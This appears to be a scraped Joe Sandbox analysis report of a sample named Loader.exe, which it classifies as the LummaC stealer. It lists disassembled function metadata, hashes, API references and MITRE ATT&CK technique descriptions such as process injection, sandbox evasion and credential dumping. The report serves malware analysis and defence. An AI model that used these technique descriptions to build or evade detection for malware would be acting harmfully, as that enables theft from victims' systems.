Opcode Fuzzy Hash: 2891e03d60d8d28ae73e3b59ca3afe83838d331533d0723071b3d3704b5c49cb
Instruction Fuzzy Hash: D5510231A00F05AAEB27AB748CC2BA773ACEF05700F154929F995DF481EA75E9409762

Function 00335130 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00335031,?,?,00000000,00000000,00000000,?), ref: 00335155

Strings

MOC, xrefs: 00335167
RCC, xrefs: 0033516F

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 56e6c73aa456c2549dd7c6d9ab4f5b3d389e9e3b036016a5d641a703e9359789
Instruction ID: 8e27633386fecd2cf4d21b651b546f2c16142312321fd9d9e71b187408ddf24b
Opcode Fuzzy Hash: 56e6c73aa456c2549dd7c6d9ab4f5b3d389e9e3b036016a5d641a703e9359789
Instruction Fuzzy Hash: AF414871900609EFCF16DF94CC81AEEBBB5BF48300F154559FA09AB211D335AA91DB91

Function 00339E4A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00335677: HeapFree.KERNEL32(00000000,00000000,?,00339A24,?,00000000,?,?,003396C4,?,00000007,?,?,0033A00A,?,?), ref: 0033568D
Part of subcall function 00335677: GetLastError.KERNEL32(?,?,00339A24,?,00000000,?,?,003396C4,?,00000007,?,?,0033A00A,?,?), ref: 00335698

___free_lconv_mon.LIBCMT ref: 00339E8E

Strings

T5, xrefs: 00339E60
85, xrefs: 00339F36

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: ErrorFreeHeapLast___free_lconv_mon
String ID: 85$T5
API String ID: 4068849827-221176244
Opcode ID: a973c4dd2479bba30fb0ec4ce181bdd48b4e219bce88e473d364a484d8929767
Instruction ID: a04f66271567ccc628d098c9b9bcac9e2eaf35ad44cc85d1809f12dd335a2e8d
Opcode Fuzzy Hash: a973c4dd2479bba30fb0ec4ce181bdd48b4e219bce88e473d364a484d8929767
Instruction Fuzzy Hash: 6E314F31604B01DFEB23AA38D8C6B6673E8AF00351F55581AF499DB1A1DFB6EC80CB14

Function 0033499C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00334C13

Strings

csm, xrefs: 00334C35
csm, xrefs: 00334CA6

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: ac364b2fd964fa419b0410a51da2b29e4e9df203ca4d655c5a508d296b9d6ef7
Instruction ID: 60df33fe794c6db1506547c589996e5f622e706403e908ef1704cb64c1400e25
Opcode Fuzzy Hash: ac364b2fd964fa419b0410a51da2b29e4e9df203ca4d655c5a508d296b9d6ef7
Instruction Fuzzy Hash: 2D31F376401218AFCF239F50CCC496E7B65FF09315F1A825AF8544A122C336ECA1DB91

Function 00321DB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00321E6E

Strings

@, xrefs: 00321EB7
VirtualProtect, xrefs: 00321E61

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: AddressProc
String ID: @$VirtualProtect
API String ID: 190572456-29487290
Opcode ID: 7470b6c3c236d2fdaafb6570048a6b85f0897d66255c933733cdacbdc1584c1f
Instruction ID: 2635ce674508395ded6456a8138abe65c4f14bec2dc8719c72f4caadf55bcbbd
Opcode Fuzzy Hash: 7470b6c3c236d2fdaafb6570048a6b85f0897d66255c933733cdacbdc1584c1f
Instruction Fuzzy Hash: BD41F3B4901319DFDB04DFA9E99869EBBF4FF08304F118419E858AB390D775A984CF81

Function 00326780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003267DB

Strings

Ey2, xrefs: 00326780
.2, xrefs: 0032679C

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: ___std_exception_copy
String ID: Ey2$.2
API String ID: 2659868963-2198933547
Opcode ID: dd81561db35c2d1beeedda9f72aeb5e53e8e9be7e4f1412378423c4bd41dd903
Instruction ID: 5102c17fe214798e4d00c35e856396111ebf511ba5f8bcb259a75da6726ade49
Opcode Fuzzy Hash: dd81561db35c2d1beeedda9f72aeb5e53e8e9be7e4f1412378423c4bd41dd903
Instruction Fuzzy Hash: 7A01ACB49043089FDB05DF98D5956AEBBF0FF58304F10846DE459AB341DB34AA44CF96

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Loader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
Loader.exe

Function 0035019E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00321C10 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 108
libraryfileloaderCOMMON

Function 00336602 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00336DEA Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Function 00321DB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 78
librarymemoryloaderCOMMON

Function 0032F253 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 0033D364 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 00337268 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Function 0033DB3D Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 00337152 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00322010 Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Function 003364B3 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Function 00335677 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 003214C0 Relevance: 1.8, APIs: 1, Instructions: 308
COMMON

Function 003377F7 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre